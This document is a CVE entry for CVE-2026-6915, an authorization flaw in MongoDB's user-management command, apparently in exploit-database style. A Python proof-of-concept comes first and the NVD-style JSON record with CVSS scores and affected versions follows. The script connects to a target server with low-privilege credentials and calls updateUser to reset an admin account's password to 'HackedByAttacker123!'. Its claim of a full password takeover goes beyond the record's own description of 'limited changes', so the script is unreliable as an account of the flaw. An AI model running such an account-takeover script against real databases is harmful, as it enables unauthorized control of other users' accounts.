CVE-2026-6915

import pymongo # Connect to the target MongoDB instance using low-privilege credentials # Replace with actual target address and credentials target_uri = "mongodb://192.168.1.100:27017/" username = "low_priv_user" password = "weak_password" try: client = pymongo.MongoClient(target_uri, username=username, password=password) db = client.admin # Target user to exploit target_admin = "admin_user" # Attempt to exploit the authorization flaw # The vulnerability allows modifying auth data of other users # This command attempts to reset the target user's password result = db.command('updateUser', target_admin, pwd='HackedByAttacker123!') if result['ok'] == 1: print(f"[+] PoC Successful: Modified authentication data for user '{target_admin}'.") print(f"[+] New password set to: HackedByAttacker123!") else: print(f"[-] PoC Failed: {result}") except Exception as e: print(f"[-] Error: {e}")

{"cve": {"id": "CVE-2026-6915", "sourceIdentifier": "[email protected]", "published": "2026-04-29T17:16:41.397", "lastModified": "2026-05-06T20:08:44.997", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "An authorization flaw in the user management command could allow an authenticated user to make limited changes to authentication-related data associated with another user account. This could affect how authentication is performed for the impacted account."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "LOW", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L", "baseScore": 6.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.8, "impactScore": 3.4}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-1284"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:mongodb:mongodb:*:*:*:*:-:*:*:*", "versionStartIncluding": "7.0.0", "versionEndExcluding": "7.0.32", "matchCriteriaId": "D5CAB4F7-13B9-4DB3-B017-B4149D840730"}, {"vulnerable": true, "criteria": "cpe:2.3:a:mongodb:mongodb:*:*:*:*:-:*:*:*", "versionStartIncluding": "8.0.0", "versionEndExcluding": "8.0.21", "matchCriteriaId": "63369E86-3FBF-4FE5-B8D0-06A4A600FD0B"}, {"vulnerable": true, "criteria": "cpe:2.3:a:mongodb:mongodb:*:*:*:*:-:*:*:*", "versionStartIncluding": "8.2.0", "versionEndExcluding": "8.2.7", "matchCriteriaId": "CF1B1FE1-C793-450F-9C44-DDBBAE764723"}]}]}], "references": [{"url": "https://jira.mongodb.org/browse/SERVER-119679", "source": "[email protected]", "tags": ["Issue Tracking", "Patch"]}]}}